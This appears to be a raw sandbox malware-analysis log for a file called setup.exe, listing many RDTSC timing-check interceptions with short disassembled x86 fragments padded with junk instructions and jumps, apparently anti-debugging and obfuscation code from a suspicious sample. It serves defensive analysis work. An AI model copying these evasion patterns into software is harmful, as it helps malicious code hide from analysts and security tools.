Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 34B2D0 second address: 34B2D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 453E90 second address: 453EAA instructions: 0x00000000 rdtsc 0x00000002 js 00007FDDE9067F6Eh 0x00000008 pushad 0x00000009 popad 0x0000000a jnp 00007FDDE9067F66h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 453EAA second address: 453EAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 453EAE second address: 453EB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 453EB8 second address: 453EBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 453EBE second address: 453EC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 453EC2 second address: 453EC8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 453BE8 second address: 453C05 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDDE9067F6Ah 0x00000010 push esi 0x00000011 jne 00007FDDE9067F66h 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 46BB40 second address: 46BB4B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jno 00007FDDE8CE13D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 46BCBD second address: 46BCE0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE9067F6Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007FDDE9067F6Ch 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 46BCE0 second address: 46BCF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDE8CE13E3h 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 46BE2D second address: 46BE44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE9067F72h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 46BE44 second address: 46BE4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 46C0EC second address: 46C107 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FDDE9067F72h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 46C407 second address: 46C40D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 46C6FF second address: 46C707 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 46C707 second address: 46C716 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007FDDE8CE13D6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 46C9D3 second address: 46C9E6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jns 00007FDDE9067F66h 0x0000000f push edx 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 46E2E4 second address: 46E2EA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 46E2EA second address: 46E2F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007FDDE9067F66h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 471042 second address: 471059 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 ja 00007FDDE8CE13D6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 471059 second address: 47105D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 47105D second address: 471067 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 471067 second address: 47107A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007FDDE9067F66h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 47107A second address: 471080 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 471080 second address: 47109E instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDDE9067F71h 0x00000008 jmp 00007FDDE9067F6Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 47109E second address: 4710A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4710A4 second address: 4710A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4710A9 second address: 4710B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 47132E second address: 471338 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDDE9067F66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 471338 second address: 471394 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE8CE13DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jnl 00007FDDE8CE13EFh 0x00000010 pushad 0x00000011 jbe 00007FDDE8CE13D6h 0x00000017 jmp 00007FDDE8CE13E1h 0x0000001c popad 0x0000001d nop 0x0000001e mov dword ptr [ebp+122D1F6Dh], esi 0x00000024 push dword ptr [ebp+122D2723h] 0x0000002a jmp 00007FDDE8CE13E7h 0x0000002f push 346B2A51h 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 471394 second address: 47139B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 47139B second address: 4713A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4713A1 second address: 4713A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 47422E second address: 474232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 474232 second address: 474262 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDDE9067F66h 0x00000008 jnc 00007FDDE9067F66h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007FDDE9067F75h 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c pop eax 0x0000001d push edi 0x0000001e pop edi 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 474262 second address: 47426E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jne 00007FDDE8CE13D6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 47426E second address: 474272 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 474272 second address: 474278 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 473DFE second address: 473E08 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDDE9067F6Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 475D4F second address: 475D6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FDDE8CE13D6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d push eax 0x0000000e jmp 00007FDDE8CE13DCh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CB0E43 second address: 4CB0E69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushfd 0x00000008 jmp 00007FDDE9067F6Ch 0x0000000d xor esi, 3A8FC578h 0x00000013 jmp 00007FDDE9067F6Bh 0x00000018 popfd 0x00000019 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CB0E69 second address: 4CB0EAD instructions: 0x00000000 rdtsc 0x00000002 mov edx, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FDDE8CE13E5h 0x0000000d xchg eax, ebp 0x0000000e jmp 00007FDDE8CE13DEh 0x00000013 mov ebp, esp 0x00000015 jmp 00007FDDE8CE13E0h 0x0000001a pop ebp 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e push esi 0x0000001f pop edi 0x00000020 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CA0E8D second address: 4CA0EB2 instructions: 0x00000000 rdtsc 0x00000002 mov bx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, 3ED894D5h 0x0000000c popad 0x0000000d mov ebp, esp 0x0000000f pushad 0x00000010 mov eax, 478F898Dh 0x00000015 mov esi, 1B783189h 0x0000001a popad 0x0000001b pop ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov ax, dx 0x00000022 pushad 0x00000023 popad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CA0EB2 second address: 4CA0EB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CE0AB5 second address: 4CE0B2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FDDE9067F6Fh 0x00000013 adc ax, 133Eh 0x00000018 jmp 00007FDDE9067F79h 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007FDDE9067F70h 0x00000024 and eax, 43A83038h 0x0000002a jmp 00007FDDE9067F6Bh 0x0000002f popfd 0x00000030 popad 0x00000031 mov ebp, esp 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007FDDE9067F75h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CE0B2E second address: 4CE0B34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CE0B34 second address: 4CE0B38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CE0B38 second address: 4CE0B55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDDE8CE13E2h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CE0B55 second address: 4CE0B5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 5CCE48A4h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C80107 second address: 4C8010F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx edx, cx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C8010F second address: 4C80115 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C80115 second address: 4C8015A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b pushad 0x0000000c call 00007FDDE8CE13DDh 0x00000011 pop ecx 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 push ebx 0x00000016 call 00007FDDE8CE13DAh 0x0000001b pop eax 0x0000001c pop ebx 0x0000001d popad 0x0000001e push dword ptr [ebp+04h] 0x00000021 jmp 00007FDDE8CE13DEh 0x00000026 push dword ptr [ebp+0Ch] 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C8015A second address: 4C8015E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C8015E second address: 4C80162 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C80162 second address: 4C80168 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C801E8 second address: 4C801EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CA066B second address: 4CA066F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CA066F second address: 4CA0673 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CA0673 second address: 4CA0679 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CA0679 second address: 4CA067F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CA067F second address: 4CA0683 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CA0683 second address: 4CA06B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a jmp 00007FDDE8CE13E6h 0x0000000f mov eax, 1D6CD061h 0x00000014 popad 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FDDE8CE13DAh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CA06B6 second address: 4CA06BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CA06BC second address: 4CA06F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a movsx edi, cx 0x0000000d mov ch, 16h 0x0000000f popad 0x00000010 mov ebp, esp 0x00000012 jmp 00007FDDE8CE13E3h 0x00000017 pop ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FDDE8CE13E5h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CA06F9 second address: 4CA06FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CA0417 second address: 4CA042A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b mov edx, 70A1C3DCh 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CA042A second address: 4CA048E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE9067F70h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007FDDE9067F70h 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007FDDE9067F6Dh 0x0000001c xor eax, 75600996h 0x00000022 jmp 00007FDDE9067F71h 0x00000027 popfd 0x00000028 call 00007FDDE9067F70h 0x0000002d pop eax 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CA048E second address: 4CA04A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDE8CE13E7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CB01E2 second address: 4CB01E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CB01E7 second address: 4CB01ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CB01ED second address: 4CB01F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CE09C0 second address: 4CE09C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CE09C4 second address: 4CE09CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CE09CA second address: 4CE09FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 2DF41D13h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FDDE8CE13DEh 0x00000016 sub cx, 9798h 0x0000001b jmp 00007FDDE8CE13DBh 0x00000020 popfd 0x00000021 push ecx 0x00000022 pop ebx 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CE09FD second address: 4CE0A03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CE0A03 second address: 4CE0A07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CE0A07 second address: 4CE0A43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushfd 0x0000000d jmp 00007FDDE9067F6Fh 0x00000012 sbb eax, 744D550Eh 0x00000018 jmp 00007FDDE9067F79h 0x0000001d popfd 0x0000001e rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CC01CB second address: 4CC0201 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [ebp+08h] 0x0000000e jmp 00007FDDE8CE13DCh 0x00000013 and dword ptr [eax], 00000000h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FDDE8CE13E7h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CA05AF second address: 4CA05BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE9067F6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CA05BE second address: 4CA05D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDE8CE13E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CA05D6 second address: 4CA05F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE9067F6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov ax, 32FBh 0x00000011 push eax 0x00000012 push edx 0x00000013 mov ebx, eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CA05F1 second address: 4CA0646 instructions: 0x00000000 rdtsc 0x00000002 movzx esi, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push eax 0x00000009 jmp 00007FDDE8CE13E4h 0x0000000e xchg eax, ebp 0x0000000f jmp 00007FDDE8CE13E0h 0x00000014 mov ebp, esp 0x00000016 jmp 00007FDDE8CE13E0h 0x0000001b pop ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f jmp 00007FDDE8CE13DDh 0x00000024 mov di, cx 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CB0DB4 second address: 4CB0DC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, dx 0x00000006 mov eax, ebx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CB0DC6 second address: 4CB0DE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, 1CE30841h 0x00000009 popad 0x0000000a pop ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FDDE8CE13E3h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CC0010 second address: 4CC001F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE9067F6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CC001F second address: 4CC0037 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDE8CE13E4h 0x00000009 rdtsc
